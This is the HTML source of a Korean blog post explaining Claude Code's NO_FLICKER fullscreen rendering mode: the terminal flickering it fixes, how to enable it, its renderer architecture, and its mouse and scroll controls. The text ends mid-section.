  &lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
    &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 12px 0; font-weight: 700; color: #1a3a52;&quot;&gt;실제 사용자 화면 사례&lt;/p&gt;
    &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 16px 0;&quot;&gt;아래 영상들은 NO_FLICKER가 도입되기 전 실제 사용자가 올린 재현 사례다. VS Code 통합 터미널, Cursor, WSL/Windows Terminal처럼 이슈가 자주 보고된 환경을 중심으로 골랐다.&lt;/p&gt;
    &lt;div style=&quot;background-color: #ffffff; border: 1px solid #d9e8ff; border-radius: 10px; padding: 16px; margin: 18px 0;&quot;&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 8px 0; font-weight: 700;&quot;&gt;사례 1. 도구 실행 중 화면 깜빡임&lt;/p&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 8px 0;&quot;&gt;Claude가 작업을 수행하는 동안 터미널 전체가 반복적으로 다시 그려지는 장면을 보여주는 대표 사례다.&lt;/p&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0; font-size: 13px; color: #666;&quot;&gt;출처: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/769&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; style=&quot;color: #0066cc; text-decoration: none;&quot;&gt;GitHub Issue #769&lt;/a&gt; &amp;mdash; &lt;a href=&quot;https://github.com/user-attachments/assets/9da196e7-a1df-4fe3-bb6b-1cf7fe20add6&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; style=&quot;color: #0066cc; text-decoration: none;&quot;&gt;영상 원본 보기&lt;/a&gt;&lt;/p&gt;
    &lt;/div&gt;
    &lt;div style=&quot;background-color: #ffffff; border: 1px solid #d9e8ff; border-radius: 10px; padding: 16px; margin: 18px 0;&quot;&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 8px 0; font-weight: 700;&quot;&gt;사례 2. VS Code 터미널, macOS 재현&lt;/p&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 8px 0;&quot;&gt;VS Code 터미널 환경에서 다시 발생한 깜빡임 사례로, 스크롤백이 흔들리듯 다시 보이는 현상을 확인할 수 있다.&lt;/p&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0; font-size: 13px; color: #666;&quot;&gt;출처: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/392#issuecomment-2970234466&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; style=&quot;color: #0066cc; text-decoration: none;&quot;&gt;GitHub Issue #392 댓글&lt;/a&gt; &amp;mdash; &lt;a href=&quot;https://github.com/user-attachments/assets/46e7c9cf-8bc8-4c86-b950-9cf1b8867569&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; style=&quot;color: #0066cc; text-decoration: none;&quot;&gt;영상 원본 보기&lt;/a&gt;&lt;/p&gt;
    &lt;/div&gt;
    &lt;div style=&quot;background-color: #ffffff; border: 1px solid #d9e8ff; border-radius: 10px; padding: 16px; margin: 18px 0 0 0;&quot;&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 8px 0; font-weight: 700;&quot;&gt;사례 3. 장시간 세션에서의 Terminal Flickering&lt;/p&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0 0 8px 0;&quot;&gt;대화가 길어졌을 때 깜빡임이 심해지는 패턴을 보여주는 보고다. 여러 사용자들이 같은 이슈에 합류했다.&lt;/p&gt;
      &lt;p data-ke-size=&quot;size16&quot; style=&quot;margin: 0; font-size: 13px; color: #666;&quot;&gt;출처: &lt;a href=&quot;https://github.com/anthropics/claude-code/issues/1913&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; style=&quot;color: #0066cc; text-decoration: none;&quot;&gt;GitHub Issue #1913&lt;/a&gt; &amp;mdash; &lt;a href=&quot;https://github.com/user-attachments/assets/00d2711a-1113-433c-a542-652ad3f5ce06&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; style=&quot;color: #0066cc; text-decoration: none;&quot;&gt;영상 원본 보기&lt;/a&gt;&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;근본 원인은 ANSI escape code의 구조적 한계에 있다. 터미널 UI 프로그램은 ANSI escape code로 커서를 이동(CSI n;m H)하고 텍스트를
    그린다. 문제는 viewport 밖의 행을 다시 그리는 ANSI 코드가 존재하지 않는다는 점이다. 화면을 갱신하려면 CSI 2J(Erase in Display)로 전체 화면을 지우고 다시 그려야 한다
    &amp;mdash; 이것이 flickering의 근본 원인이다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;이 글에서는 NO_FLICKER 모드의 활성화 방법, 작동 원리, 트레이드오프, tmux 호환성, 소스코드 구조까지 다룬다. 2026년 4월 2일 기준, 공식 문서와
    소스코드를 근거로 작성했다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 2 --&gt;
  &lt;h2 id=&quot;section2&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 활성화 방법 &amp;mdash; 설치와 설정&lt;/b&gt;&lt;/h2&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;NO_FLICKER(Fullscreen rendering)는 opt-in research preview이며, &lt;b&gt;Claude Code v2.1.88 이상&lt;/b&gt;이
    필요하다. CHANGELOG에서는 v2.1.89(2026-04-01)에 해당 기능이 추가된 것으로 기록되어 있으며, 공식 문서는 v2.1.88+로 표기한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.1 일회성 실행
  &lt;/h3&gt;
  &lt;pre class=&quot;ini&quot;
    style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot;
    data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;CLAUDE_CODE_NO_FLICKER=1 claude&lt;/code&gt;&lt;/pre&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.2 영구 설정
  &lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;셸 프로파일(&lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;~/.zshrc&lt;/code&gt;
    또는 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;~/.bashrc&lt;/code&gt;)에
    다음을 추가한다:&lt;/p&gt;
  &lt;pre class=&quot;routeros&quot;
    style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot;
    data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;export CLAUDE_CODE_NO_FLICKER=1&lt;/code&gt;&lt;/pre&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.3 비활성화
  &lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_NO_FLICKER=0&lt;/code&gt;으로
    설정하거나 환경변수를 해제한다.&lt;/p&gt;
  &lt;!-- 섹션 3 --&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h2 id=&quot;section3&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 핵심 기능 상세 &amp;mdash; 무엇이 달라지는가&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.1
    Alternate Screen Buffer&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;Fullscreen rendering은 터미널의 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://en.wikipedia.org/wiki/ANSI_escape_code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;alternate screen buffer&lt;/a&gt;에
    인터페이스를 그린다. vim이나 htop처럼 동작하는 방식이다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;ANSI escape code CSI ?1049h로 alternate screen buffer를 활성화하고, CSI ?1049l로 비활성화한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;전통적인 CLI 도구들(vim, htop 등)이 사용하는 동일한 기법으로, 터미널의 scrollback을 보존하면서 별도 버퍼에서 작업한 뒤 종료 시 원래 화면으로
    복원한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&quot;fullscreen&quot;이라는 용어는 터미널 창 최대화와 무관하다. vim처럼 터미널의 drawing surface를 인수하는 것을 의미하며, 어떤 창 크기에서도
    동작한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.2 뷰포트
    가상화(Viewport Virtualization)&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;NO_FLICKER 렌더러는 전체 viewport를 가상화한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;현재 보이는 메시지만 렌더 트리에 유지하므로, 터미널로 보내는 데이터가 줄어든다. 키보드와 마우스 이벤트를 후킹하여 스크롤을 구현하고, 렌더링 제어를 애플리케이션
    레이어로 이동시킨다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;이것이 의미하는 바는 다음과 같다 &amp;mdash; 기존 렌더러가 &quot;터미널에 ANSI 코드를 보내고 터미널이 알아서 그리게 하는&quot; 방식이었다면, NO_FLICKER는
    &quot;애플리케이션이 viewport 전체를 직접 관리하는&quot; 방식으로 전환한 것이다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.3 깜빡임 제거
    메커니즘&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code TUI 엔지니어 chrislloyd는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://news.ycombinator.com/item?id=46701013&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HN에서&lt;/a&gt; 기존 렌더러의 구조를 설명했다: 각
    프레임마다 React로 scene graph를 구성하고, layout을 잡고, 2D 스크린으로 rasterize한 뒤, 이전 스크린과 diff를 수행한다. 기존 모드는 scrollback을 사용하므로(사용자
    기대) 변경 시 전체를 지우고 다시 그려야 했고, 이것이 tearing/flickering의 원인이었다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;NO_FLICKER 모드는 alternate screen buffer 위에서 diff 기반 업데이트만 수행하므로 전체 화면 지우기가 필요 없다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 4 --&gt;
  &lt;h2 id=&quot;section4&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 기술 아키텍처 분석 &amp;mdash; 렌더링 파이프라인&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.1 전체 파이프라인
  &lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://sathwick.xyz/blog/claude-code.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;sathwick의 분석&lt;/a&gt;에 따르면, Claude
    Code의 렌더링 파이프라인은 다음과 같다:&lt;/p&gt;
  &lt;pre class=&quot;routeros&quot;
    style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot;
    data-ke-language=&quot;text&quot;&gt;&lt;code&gt;React Components
  &amp;rarr; Custom React Reconciler (createReconciler API)
  &amp;rarr; Virtual DOM Tree
  &amp;rarr; Yoga Layout Engine (flexbox)
  &amp;rarr; Output Builder (write/blit/clip/clear/shift)
  &amp;rarr; Screen Buffer (2D cell array, interned styles/hyperlinks)
  &amp;rarr; Diff Engine
  &amp;rarr; ANSI Escape Sequences
  &amp;rarr; TTY&lt;/code&gt;&lt;/pre&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.2 더블 버퍼링과
    인터닝 풀&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;렌더러는 더블 버퍼링(front/back 프레임 포인터 스왑)과 blitting(이전 프레임의 변경 없는 영역 복사) 기법을 사용한다. Screen Buffer는
    3개의 인터닝 풀을 사용한다: CharPool, StylePool(사전 계산된 전환 시퀀스로 O(1) 룩업), HyperlinkPool.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.3 성능 특성
  &lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;입력 상자가 화면 하단에 고정되며, 출력이 스트리밍될 때 이동하지 않는다. 보이는 메시지만 렌더 트리에 유지하므로 대화 길이와 무관하게 메모리가 일정하다.
    boris_cherny(Anthropic 엔지니어, Claude Code 리드)도 &quot;대화가 길어져도 일정한 메모리와 CPU 사용&quot;을 장점으로 꼽았다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;성능 최적화 과정에서 두 가지 주요 이슈가 있었다:&lt;/p&gt;
  &lt;ol style=&quot;padding-left: 20px; margin: 10px 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
    &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;과도한 JSX 할당으로 인한 예측 불가 GC 일시정지 &amp;mdash; 더 많은 할당은 더 많은 GC를, VM이 잠기는 프레임 증가를 의미한다.&lt;/li&gt;
    &lt;li style=&quot;margin-bottom: 6px;&quot;&gt;더블 버퍼링의 메모리 압박 &amp;mdash; packed TypedArray로 전환하여 해결했다.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: 기존 렌더러는 대화가 길어질수록 메모리와 CPU가 증가했지만, NO_FLICKER는 viewport 가상화 덕분에 대화 길이와 무관하게 일정한
    리소스를 사용한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 5 --&gt;
  &lt;h2 id=&quot;section5&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 소스코드 핵심 분석 &amp;mdash; 렌더러 내부 구조&lt;/b&gt;&lt;/h2&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code는 오픈소스(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot;
      href=&quot;https://github.com/anthropics/claude-code&quot; target=&quot;_blank&quot;
      rel=&quot;noopener&quot;&gt;https://github.com/anthropics/claude-code&lt;/a&gt;)이므로 렌더러의 핵심 구조를 확인할 수 있다. topic_type_modifier가
    feature-guide이므로 코드 분석은 가볍게 다룬다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.1
    ScrollBox와 하드웨어 스크롤&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;ScrollBox는 가능한 경우 DECSTBM(하드웨어 스크롤 영역)을 사용한다. 터미널 타입별로 drain rate를 조절하는데, 네이티브 터미널은 프레임당 약
    3/4, xterm.js(VS Code 등)는 적응형 스테핑을 사용한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.2 Diff
    Engine과 ANSI 출력&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;Diff Engine은 이전 프레임과 현재 프레임을 셀 단위로 비교하여 변경된 부분만 ANSI escape sequence로 출력한다. 더블 버퍼링의
    front/back 프레임 포인터 스왑이 이 과정을 효율적으로 만든다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.3
    flickering의 역사적 맥락&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;2025년 3월부터 문제가 보고되기 시작했고, 초기 fix에서 differential renderer를 도입했지만, HN 토론에서 공개된 내부 데이터에 따르면 세션의
    약 1/3에서 여전히 최소 1회의 flicker가 발생했다. DEC mode 2026(synchronized output) 패치가 VS Code 터미널과 tmux에 수용되었으며, Ghostty는 이미 이
    표준을 지원하고 있었다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- 섹션 6 --&gt;
  &lt;h2 id=&quot;section6&quot;
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 활용법 &amp;mdash; 마우스 지원과 단축키&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.1 마우스 인터랙션
    (v2.1.88+)&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;NO_FLICKER 모드는 터미널에서 마우스 지원을 제공한다:&lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          동작&lt;/th&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          설명&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프롬프트 입력 내 클릭&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;커서 위치 이동&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;접힌 도구 결과 클릭&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;확장/축소&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;URL/파일 경로 클릭&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;열기&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;클릭-드래그&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;텍스트 선택 (더블클릭=단어, 트리플클릭=줄)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;마우스 휠&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대화 스크롤&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;선택한 텍스트는 마우스 릴리스 시 자동으로 클립보드에 복사된다. &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;/config&lt;/code&gt;에서
    &quot;Copy on select&quot;를 끌 수 있으며, 끈 경우 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+Shift+c&lt;/code&gt;로
    수동 복사한다. kitty 키보드 프로토콜을 지원하는 터미널(kitty, WezTerm, Ghostty, iTerm2)에서는 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Cmd+c&lt;/code&gt;도
    동작한다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.2 스크롤 단축키
    (v2.1.88+)&lt;/h3&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          키&lt;/th&gt;
        &lt;th
          style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;
          동작&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;PgUp&lt;/code&gt;
          / &lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;PgDn&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;반 화면 스크롤&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+Home&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;대화 시작으로 이동&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code
            style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Ctrl+End&lt;/code&gt;
        &lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;최신 메시지로 이동 + 자동 팔로우 재개&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;마우스 휠&lt;/td&gt;
        &lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;몇 줄씩 스크롤&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;MacBook에서는 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;Fn+화살표&lt;/code&gt;
    조합을 사용한다. 이 단축키들은 리바인딩 가능하며, 액션 이름은 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:pageUp&lt;/code&gt;,
    &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:pageDown&lt;/code&gt;,
    &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:top&lt;/code&gt;,
    &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:bottom&lt;/code&gt;
    등이다. 기본 바인딩이 없는 추가 액션으로 &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:lineUp&lt;/code&gt;,
    &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:lineDown&lt;/code&gt;,
    &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:halfPageUp&lt;/code&gt;,
    &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:halfPageDown&lt;/code&gt;,
    &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:fullPageUp&lt;/code&gt;,
    &lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;scroll:fullPageDown&lt;/code&gt;도
    있다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.3 스크롤 속도
    조정 (v2.1.88+)&lt;/h3&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code
      style=&quot;background: #f1f3f5; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code', 'Consolas', monospace;&quot;&gt;CLAUDE_CODE_SCROLL_SPEED&lt;/code&gt;
    환경변수로 마우스 휠 스크롤 속도를 조정한다:&lt;/p&gt;
  &lt;pre class=&quot;routeros&quot;
